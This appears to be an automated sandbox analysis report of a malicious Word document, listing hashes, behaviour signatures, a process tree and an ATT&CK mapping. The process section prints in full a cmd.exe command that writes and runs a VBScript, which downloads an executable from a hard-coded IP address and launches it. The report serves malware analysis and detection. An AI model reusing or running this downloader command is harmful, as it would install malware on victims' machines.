Analysis

  • max time kernel
    270s
  • max time network
    336s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    28-11-2022 00:40

General

  • Target

    2ae16de2ce0f90a0f921946a2a43d4b5220eff195f3e4cde23c3e67a8173f8b3.doc

  • Size

    35KB

  • MD5

    5dab27a18a2851cf1dcae95662a01906

  • SHA1

    fc7ebf9cbc7e5e794474775b3ca457cacde46d6a

  • SHA256

    2ae16de2ce0f90a0f921946a2a43d4b5220eff195f3e4cde23c3e67a8173f8b3

  • SHA512

    f11a17c1b905053073ac651085079cb96c2eec4e7b02661c329cd0241a9d91caab5ab8ad527bba057ffc6b739d3134774c9a7601a80d00cae3c2b1e929d88256

  • SSDEEP

    384:HaQ2RBJwytUXWsIFdzHe60HZ0jpwXzVF:QBaXWFJe15kozVF

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2ae16de2ce0f90a0f921946a2a43d4b5220eff195f3e4cde23c3e67a8173f8b3.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1632
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c @echo dim gyuFYFGuigddd: Set gyuFYFGuigddd = createobject("Microsoft.XMLHTTP")>gyuFYFGuig.vbs & @echo dim bStrm: Set bStrm = createobject("Adodb.Stream")>>gyuFYFGuig.vbs & @echo gyuFYFGuigddd.Open "GET", "http://148.251.87.253/aszxmy/image04.gif", False>>gyuFYFGuig.vbs & @echo gyuFYFGuigddd.Send>>gyuFYFGuig.vbs & @echo Set environmentVars = WScript.CreateObject("WScript.Shell").Environment("Process")>>gyuFYFGuig.vbs & @echo tempFolder = environmentVars("TEMP")>>gyuFYFGuig.vbs & @echo Fileopen = tempFolder + "\dfsdfff.exe">>gyuFYFGuig.vbs & @echo with bStrm>>gyuFYFGuig.vbs & @echo .type = 1 >>gyuFYFGuig.vbs & @echo .open>>gyuFYFGuig.vbs & @echo .write gyuFYFGuigddd.responseBody>>gyuFYFGuig.vbs & @echo .savetofile Fileopen, 2 >>gyuFYFGuig.vbs & @echo end with>>gyuFYFGuig.vbs & @echo Set GBIviviu67FUGBK = CreateObject("Shell.Application")>>gyuFYFGuig.vbs & @echo GBIviviu67FUGBK.Open Fileopen>>gyuFYFGuig.vbs & cscript.exe gyuFYFGuig.vbs
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1564
      • C:\Windows\SysWOW64\cscript.exe
        cscript.exe gyuFYFGuig.vbs
        3⤵
        • Blocklisted process makes network request
        PID:1456
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2000

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\gyuFYFGuig.vbs
      Filesize

      606B

      MD5

      3911c42e02a3705d35980faec92a4ed1

      SHA1

      34aa53e0f129c0c0041bfe920c621b8e67c44ae0

      SHA256

      1097f0919b117a1e3b3a9712bdcca875626d191d006f494acd01d5e2a1b154ed

      SHA512

      fe062a466ec43509a9e720832d9b9c09e8a37808fb27e96e05dc6d50ab79d599486d73de3c3966fea2d55621d43ed7d8cbdba6c99edf198c6f7091bcafefa867

    • memory/1456-60-0x0000000000000000-mapping.dmp
    • memory/1564-59-0x0000000000000000-mapping.dmp
    • memory/1632-54-0x0000000072601000-0x0000000072604000-memory.dmp
      Filesize

      12KB

    • memory/1632-55-0x0000000070081000-0x0000000070083000-memory.dmp
      Filesize

      8KB

    • memory/1632-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1632-57-0x00000000757C1000-0x00000000757C3000-memory.dmp
      Filesize

      8KB

    • memory/1632-58-0x000000007106D000-0x0000000071078000-memory.dmp
      Filesize

      44KB

    • memory/1632-63-0x000000007106D000-0x0000000071078000-memory.dmp
      Filesize

      44KB

    • memory/2000-64-0x0000000000000000-mapping.dmp
    • memory/2000-65-0x000007FEFBCB1000-0x000007FEFBCB3000-memory.dmp
      Filesize

      8KB